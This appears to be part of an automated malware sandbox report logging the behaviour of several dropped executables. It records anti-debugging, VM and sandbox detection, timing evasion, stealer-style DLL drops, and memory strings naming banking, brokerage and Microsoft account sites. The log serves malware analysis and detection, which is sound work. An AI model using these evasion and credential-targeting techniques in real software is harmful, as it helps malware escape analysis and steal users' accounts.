Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Memory allocated: 5310000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Memory allocated: 5140000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Memory allocated: 5100000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Memory allocated: 5140000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Memory allocated: 7140000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Memory allocated: 4A70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Memory allocated: 4DD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Memory allocated: 4BE0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsCFBAKKJDBK.exe

Code function: 21_2_04A70B58 rdtsc

21_2_04A70B58

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 393
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3961
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 466

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6424	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6444	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7112	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8472	Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8472	Thread sleep time: -132066s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8440	Thread sleep count: 68 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8440	Thread sleep time: -136068s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8360	Thread sleep count: 393 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8360	Thread sleep time: -11790000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8460	Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8460	Thread sleep time: -166083s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8444	Thread sleep count: 3961 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8444	Thread sleep time: -7925961s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8544	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8444	Thread sleep count: 466 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8444	Thread sleep time: -932466s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8448	Thread sleep count: 77 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8448	Thread sleep time: -154077s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe TID: 6492	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe TID: 2620	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe TID: 6752	Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe TID: 5412	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe TID: 1952	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe TID: 7936	Thread sleep time: -270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe TID: 7932	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe TID: 6348	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe TID: 8524	Thread sleep time: -72000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe TID: 8760	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsCFBAKKJDBK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBFEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CBFEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: DocumentsCFBAKKJDBK.exe, 00000015.00000003.2560848605.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}uWS
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: e88687d065.exe, 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware:
Source: 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.3162987868.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.000000000146E000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 00000019.00000002.2922940562.0000000001123000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 00000019.00000002.2922940562.0000000001154000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000002.3274336634.0000000001392000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000132B000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 0000001F.00000002.3086404346.0000000001157000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 00000024.00000002.3337028806.0000000001446000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 0f2c5625b4.exe, 0000001C.00000002.3274336634.0000000001392000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: e88687d065.exe, 00000024.00000002.3337028806.000000000141A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Y
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: e88687d065.exe, 0000001F.00000002.3086404346.0000000001128000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000002.2560094047.0000000023A31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 0f2c5625b4.exe, 0000001C.00000002.3274336634.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware*
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 0f2c5625b4.exe, 00000018.00000003.2895856505.0000000005E94000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897467851.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2900644744.0000000005EA8000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2896297373.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: kyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6n
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: e88687d065.exe, 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 0f2c5625b4.exe, 00000018.00000002.3237962617.0000000005EE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, file.exe, 00000000.00000002.2540207270.0000000001344000.00000040.00000001.01000000.00000003.sdmp, DocumentsCFBAKKJDBK.exe, DocumentsCFBAKKJDBK.exe, 00000015.00000002.2640687432.0000000000BAB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 00000016.00000002.2661934202.000000000116B000.00000040.00000001.01000000.0000000E.sdmp, 0f2c5625b4.exe, 00000018.00000002.3238492240.000000000645D000.00000040.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3224285320.000000000028C000.00000040.00000001.01000000.0000000F.sdmp, e88687d065.exe, 00000019.00000002.2920657876.00000000006A4000.00000040.00000001.01000000.00000010.sdmp, 0f2c5625b4.exe, 0000001C.00000002.3288325829.0000000006744000.00000040.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000002.3270814028.000000000028C000.00000040.00000001.01000000.0000000F.sdmp, 0f2c5625b4.exe, 0000001C.00000001.2930855397.000000000028C000.00000080.00000001.01000000.0000000F.sdmp, 425e60de02.exe, 0000001E.00000002.3109513246.00000000004FD000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2541025259.00000000017E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000002.2541025259.000000000179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarer
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000002.2560094047.0000000023A31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: e88687d065.exe, 00000019.00000002.2922940562.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareJD'
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 0f2c5625b4.exe, 00000018.00000003.3162987868.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000000.00000002.2540207270.0000000001344000.00000040.00000001.01000000.00000003.sdmp, DocumentsCFBAKKJDBK.exe, 00000015.00000002.2640687432.0000000000BAB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2661934202.000000000116B000.00000040.00000001.01000000.0000000E.sdmp, 0f2c5625b4.exe, 00000018.00000002.3238492240.000000000645D000.00000040.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3224285320.000000000028C000.00000040.00000001.01000000.0000000F.sdmp, e88687d065.exe, 00000019.00000002.2920657876.00000000006A4000.00000040.00000001.01000000.00000010.sdmp, 0f2c5625b4.exe, 0000001C.00000002.3288325829.0000000006744000.00000040.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000002.3270814028.000000000028C000.00000040.00000001.01000000.0000000F.sdmp, 0f2c5625b4.exe, 0000001C.00000001.2930855397.000000000028C000.00000080.00000001.01000000.0000000F.sdmp, 425e60de02.exe, 0000001E.00000002.3109513246.00000000004FD000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}3

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe

System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsCFBAKKJDBK.exe

Code function: 21_2_04A70572 Start: 04A70543 End: 04A7053F

21_2_04A70572

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process queried: DebugPort
